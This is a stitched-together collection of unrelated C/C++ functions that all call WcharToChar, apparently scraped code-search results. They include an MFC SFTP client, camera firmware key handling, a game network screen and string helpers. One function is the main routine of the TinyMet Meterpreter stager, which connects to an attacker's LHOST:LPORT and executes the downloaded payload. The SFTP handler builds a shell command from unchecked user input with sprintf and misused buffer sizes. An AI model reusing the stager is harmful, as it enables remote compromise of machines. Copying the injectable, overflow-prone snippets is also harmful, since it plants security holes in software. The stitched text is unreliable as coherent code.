void COrPSFDlg::OnBnClickedButton2() { // TODO: ここにコントロール通知ハンドラ コードを追加します。 wchar_t tmp[256]; char command[256]; bool ret; // host edit2.GetWindowTextW( tmp, sizeof(tmp) ); WcharToChar( tmp, m_host, sizeof(m_host) ); // user edit3.GetWindowTextW( tmp, sizeof(tmp) ); WcharToChar( tmp, m_user, sizeof(m_host) ); // pw edit4.GetWindowTextW( tmp, sizeof(tmp) ); WcharToChar( tmp, m_pw, sizeof(m_host) ); sprintf( command, "psftp -pw %s %s@%s", m_pw, m_user, m_host ); ret = Login( command ); if( ret == false ) { edit1.SetWindowTextW(L"登录失败!\n 请确地址、用户名、密码。"); m_IsLogin = false; return; } m_IsLogin = true; edit1.SetWindowTextW(L"登录成功!\n 可以获取或上传文件。"); }
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) { //wchar_t class_name[500]; wchar_t title[MAX_PATH]; //GetClassName(hwnd, class_name, sizeof(class_name)); GetWindowText(hwnd, title, sizeof(title)); // std::cout <<"find:" <<WcharToChar(title,CP_ACP) << std::endl; //std::cout << "Argument:"<<WcharToChar(fileName, CP_ACP) << std::endl; // std::cout << wcsstr(title, fileName) << std::endl; //std::cout << "====================="<<std::endl; wchar_t* this_res = wcsstr(title, L"FindWindowExist"); if (wcslen(title) > 0 && !this_res) { wchar_t* res = wcsstr(title, fileName); // std::cout << (res == title) << std::endl; //std::cout << "=====================" << std::endl; if (res /*&& (res == title)*/) { std::cout << "find:" << WcharToChar(title, CP_ACP) << std::endl; std::cout << "Argument:" << WcharToChar(fileName, CP_ACP) << std::endl; isFind = true; if (!isOpen) { isOpen = true; } } } return TRUE; }
int main() { LPWSTR *szArglist; int nArgs; char helpText[] = "TinyMet v0.1\nwww.tinymet.com\n\n" "Usage: tinymet.exe [transport] LHOST LPORT\n" "Available transports are as follows:\n" " 0: reverse_tcp\n" " 1: reverse_http\n" " 2: reverse_https\n" " 3: bind_tcp\n" "\nExample:\n" "\"tinymet.exe 2 host.com 443\"\nwill use reverse_https and connect to host.com:443\n"; //"\"tinymet.exe 3 0.0.0.0 4444\"\nwill bind_tcp port 4444 on all interfaces.\n"; szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs); // rudimentary error checking if (NULL == szArglist) { // problem parsing? err_exit("CommandLineToArgvW & GetCommandLineW"); } else if (nArgs == 2 && !wcscmp(szArglist[1], L"--help")){ // looking for help? printf(helpText); exit(-1); } else if (nArgs != 4){ // less than 4 args? printf(helpText); err_exit("Invalid arguments count, should be 4"); } // convert wchar_t to mb char* TRANSPORT = WcharToChar(szArglist[1]); char* LHOST = WcharToChar(szArglist[2]); char* LPORT = WcharToChar(szArglist[3]); printf("T:%s H:%s P:%s\n", TRANSPORT, LHOST, LPORT); // pick transport ... switch (TRANSPORT[0]) { case '0': buf = met_tcp(LHOST, LPORT, FALSE); break; case '1': buf = rev_http(LHOST, LPORT, FALSE); break; case '2': buf = rev_http(LHOST, LPORT, TRUE); break; case '3': buf = met_tcp(LHOST, LPORT, TRUE); break; default: printf(helpText); err_exit("Transport should be 0,1,2 or 3"); // transport is not valid } (*(void(*)())buf)(); exit(0); }
void COrPSFDlg::OnBnClickedButton3() { BOOL bRet; DWORD readsize; DWORD writesize; wchar_t tmp[512]; char buf[1024]; char localfile[512]; char remotefile[512]; char command[1024]; // TODO: ここにコントロール通知ハンドラ コードを追加します。 if( m_IsLogin == false ) { return; } tmp[0] = L'\0'; edit5.GetWindowTextW( tmp, sizeof(tmp) ); if( tmp[0] == L'\0' ) { return; } WcharToChar( tmp, localfile, sizeof(localfile) ); tmp[0] = L'\0'; edit7.GetWindowTextW( tmp, sizeof(tmp) ); if( tmp[0] == L'\0' ) { return; } WcharToChar( tmp, remotefile, sizeof(remotefile) ); // put sprintf( command, "put %s %s\r\n", localfile, remotefile ); // command write bRet = WriteFile( m_hPsftpStdInW, command, strlen(command), &writesize, NULL ); // WriteFile error if( bRet == 0 ){ edit1.SetWindowTextW(L"文件上传失败!"); return; } // result read bRet = ReadFile( m_hPsftpStdOutR, buf, sizeof(buf), &readsize, NULL ); // ReadFile error if( bRet == 0 ){ edit1.SetWindowTextW(L"文件上传失败!"); return; } // command succeed if( strstr( buf, "remote:" ) != NULL ){ edit1.SetWindowTextW(L"文件上传成功!"); return; } edit1.SetWindowTextW(L"文件上传失败!"); }
std::string ConvStr::GetStr( std::wstring unicode ) { std::vector<char> ansi; ansi.resize(unicode.length()*2+1); WcharToChar(&unicode[0], &ansi[0]); return std::string(&ansi[0]); }
int _tmain(int argc, _TCHAR* argv[]) { if (argc < 3) { return 0; } fileName = argv[1]; openApp(argv[2]); isOpen = true; //fileType = argv[2]; while (true) { EnumWindows(EnumWindowsProc, NULL); /* std::cout << isFind << std::endl; std::cout << isOpen << std::endl;*/ if (!isFind && isOpen) { char* temp = WcharToChar(fileName); std::cout << "{\"name\":" << "\"" << temp << "\"" << "," << "\"status\":" << "\"close\"}" << std::endl; delete[] temp; break; } isFind = false; //break; Sleep(1000); } return 0; }
void Top_W_On(void) { if((System.Dsp.Mode == CHECK_MODE)||(System.Dsp.Mode == PCCAM_MODE)) { if(System.Dsp.Sensor == C608) Sensor1(); DSP_SENDBW(0x16,TOP_LABEL, WcharToChar(L"白光")); Light_Init(); TOP_W = 0; Scen_Send(0xD7,System.Dsp.photo.Scene[G_SENCE_WT].Sharpness) ; //锐度 OSTimeDly(1); Scen_Send(0xD8,System.Dsp.photo.Scene[G_SENCE_WT].Saturation) ; //饱和度 OSTimeDly(1); Scen_Send(0xD9,System.Dsp.photo.Scene[G_SENCE_WT].Brightness) ; //亮度 OSTimeDly(1); Scen_Send(0xE5, G_SENCE_WT); OSTimeDly(5); // Scen_Send(G_SENCE_WT,0x00); System.Led.Statu = TOP_WHITE_ON ; ADC_Checking(ADC_CK_VLT_T_W,ADC_RSD_T_W ); } }
void Top_IR850_On(void) { if(System.Dsp.Mode == CHECK_MODE||System.Dsp.Mode == PCCAM_MODE) { if(System.Dsp.Sensor == C608) Sensor1(); DSP_SENDBW(0x16,TOP_LABEL, WcharToChar(L"红外") ); // 200ms Light_Init(); TOP_IR850=0; Scen_Send(G_SENCE_T_IR850,0x02); // 200ms System.Led.Statu = TOP_IR850_ON ; // ADC_Checking(ADC_CK_VLT_T_IR850,ADC_RSD_T_IR850); } }
void COrPSFDlg::OnBnClickedButton4() { BOOL bRet; char buf[1024]; DWORD readsize; DWORD writesize; wchar_t tmp[512]; char tmpfile[512]; char command[1024]; // TODO: ここにコントロール通知ハンドラ コードを追加します。 if( m_IsLogin == false ) { return; } edit6.GetWindowTextW( tmp, sizeof(tmp) ); if( tmp[0] == L'\0' ) { return; } WcharToChar( tmp, tmpfile, sizeof(tmpfile) ); sprintf( command, "mget %s\r\n", tmpfile ); // command write bRet = WriteFile( m_hPsftpStdInW, command, strlen(command), &writesize, NULL ); // WriteFile error if( bRet == 0 ){ edit1.SetWindowTextW(L"获取文件失败!"); return; } bRet = ReadFile( m_hPsftpStdOutR, buf, sizeof(buf), &readsize, NULL ); // ReadFile error if( bRet == 0 ){ edit1.SetWindowTextW(L"获取文件失败!"); return; } // command succeed if( strstr( buf, "local:" ) != NULL ){ edit1.SetWindowTextW(L"获取文件成功!\r\n请到根目录下查看。"); return; } // if( strstr( buf, "nothing matched" ) != NULL ){ // edit1.SetWindowTextW(L"获取文件失败!"); // return; // } edit1.SetWindowTextW(L"获取文件失败!"); }
void Top_IR940_On_test(void) { if((System.Dsp.Mode == CHECK_MODE)||System.Dsp.Mode == PCCAM_MODE) { if(System.Dsp.Sensor == C608) Sensor1(); DSP_SENDBW(0x16,TOP_LABEL,WcharToChar(L"红外") ); // "940" Light_Init(); TOP_IR940=0; Scen_Send(G_SENCE_T_IR940,0x02); System.Led.Statu= TOP_IR940_ON ; ADC_Checking(ADC_CK_VLT_T_IR940,ADC_RSD_T_IR940); OSTimeDly(50); Dsp_Send_Data(0xFF,G_SENCE_T_IR940,0x50,0xD1,D_NON); } }
bool StateNetwork::OnEvent(const SEvent& event) { if (!Irrdevice::GetInstance()->GetDevice()) return false; char buf[255]; if (event.EventType == EET_GUI_EVENT) { s32 id = event.GUIEvent.Caller->getID(); SmartPointer<Packet> smt; switch(event.GUIEvent.EventType) { case EGET_BUTTON_CLICKED: switch(id) { case GUI_ID_SERVER_BUTTON: m_pNetworkControler = NetworkManager::getInstance()->InitNetwork(SERVER,NULL); smt = m_PacketFactory.ConnectPacket(); m_pNetworkControler->SendClientToServerPacket(*smt); m_bSelectState = true; break; case GUI_ID_CLIENT_BUTTON: m_pServerIpBox->setVisible(true); m_pConnectButton->setVisible(true); break; case GUI_ID_CONNECT_BUTTON: NetworkManager::getInstance()->DestoryNetwork(); WcharToChar(buf,m_pServerIpBox->getText()); m_pNetworkControler = NetworkManager::getInstance()->InitNetwork(CLIENT,buf); smt = m_PacketFactory.ConnectPacket(); m_pNetworkControler->SendClientToServerPacket(*smt); //m_bSelectState = true; break; } break; } } return true; }
void KeyInfoDispose() { //按键检测处理 System.Key.Value = KeyScan() ; System.Key.Keylong = &Keylong ; if(!System.Key.Value) { // 处理休眠操作 if(System.Key.NoKeyTime == 180) { if(System.Dsp.Mode == CHECK_MODE||VIEW_MODE) { System.Dsp.Mode = SLEEP_MODE ; Light_Init() ; // SHOW_SCREEN(0xE8, " "); } } else if ((System.Key.NoKeyTime == 300)&&(System.Dsp.Mode == SLEEP_MODE)) { System.Dsp.Mode = SLEEP_MODE ; // SHOW_SCREEN(0xE8, "Power Saving Mode"); SHOW_SCREENW(0xE8, WcharToChar(L"节电模式") ); OSTimeDly(200); //必须有 } } else { // GR_DBG_PRINTF("keylong is %d OK it is %d\n\n",*System.Key.Keylong,Keylong); // 处理唤醒操作 System.Key.NoKeyTime = 0 ; if(System.Dsp.Mode == SLEEP_MODE) { CheckMode(); OSTimeDly(200) ; } //处理按键操作 switch(System.Key.Value) { case 1 :// 顶白光 { if(System.Led.Statu == C608_PWR_ON) { CheckMode(); OSTimeDly(100) ; } else { switch(System.Dsp.Mode) { case VIEW_MODE: CheckMode(); break ; default :break ; } Photo_SignAndCount(); } }break ; case 2 :// check: 850 940 770 闪烁 长按:进入PCCAM { }break ; case 3 ://check: 紫外-激光 长按:进入校正 { if(*System.Key.Keylong)// 进入校正功能 { if(System.Dsp.Mode == CHECK_MODE) { PriorExposure(); } } else { if(System.Led.Statu == C608_PWR_ON) { CheckMode(); OSTimeDly(100) ; } else { switch(System.Dsp.Mode) { case VIEW_MODE: CheckMode(); break ; default :break ; } if((System.Dsp.Mode ==PCCAM_MODE)||(System.Dsp.Mode ==CHECK_MODE)) { Photo_SignAndChk(); } } // PhotoMvRight() ; } }break ; case 4 ://check : sensor1 sensor2 sensor3 ,长按:608 { }break ; case 5 ://check: 左白光 右白光 左红外, 右红外 view:翻页 放大 { // PhotoDelAll(); if(System.Led.Statu == C608_PWR_ON) { CheckMode(); OSTimeDly(100) ; } else { switch(System.Dsp.Mode) { case PCCAM_MODE : case CHECK_MODE : { ViewMode() ; }break; case VIEW_MODE : { if(*System.Key.Keylong) { CheckMode(); } else { ViewMode_F1() ; } }break; default :break ; } } }break ; case 6 ://check: 底白光,底红外 view :右边翻页 { if(System.Led.Statu == C608_PWR_ON) { CheckMode(); OSTimeDly(100) ; } else { switch(System.Dsp.Mode) { case PCCAM_MODE : case CHECK_MODE : { }break; case VIEW_MODE : { ViewMode_F2() ; }break; default :break ; } } }break ; case 7 ://view--check ; { if(System.Led.Statu == C608_PWR_ON) { CheckMode(); OSTimeDly(100) ; } else { switch(System.Dsp.Mode) { case PCCAM_MODE : case CHECK_MODE : { C608_On() ; }break; case VIEW_MODE : { ViewMode_F3() ; }break; default :break ; } } }break ; case 8 ://check:短按单拍,长按8连拍 ,view 长按删除,短按确认 { if(System.Led.Statu == C608_PWR_ON) { CheckMode(); OSTimeDly(100) ; } else { if(*System.Key.Keylong)// 进入校正功能 { } else { switch(System.Dsp.Mode) { case PCCAM_MODE : case CHECK_MODE : { // CheckMode(); if( System.Local_SignOutCount_Flag == 0 ) { System.Local_SignOutCount_Flag = 1 ; } Local_SignOutCount = 0 ; ShowLeftBtmNum(); }break; case VIEW_MODE : { ViewMode_F4() ; }break; default :break ; } } } }break ; case 9 ://check: 短按连拍,长按修改密码 // view:自动回放 { if(System.Led.Statu == C608_PWR_ON) { CheckMode(); OSTimeDly(100) ; } else { ViewMode() ; PhotoDelAll(); CheckMode(); } }break ; default : break ; } } }
char* CDataConverter::WstringToChar(const std::wstring &ws) { const wchar_t* wp=ws.c_str(); return WcharToChar(wp); }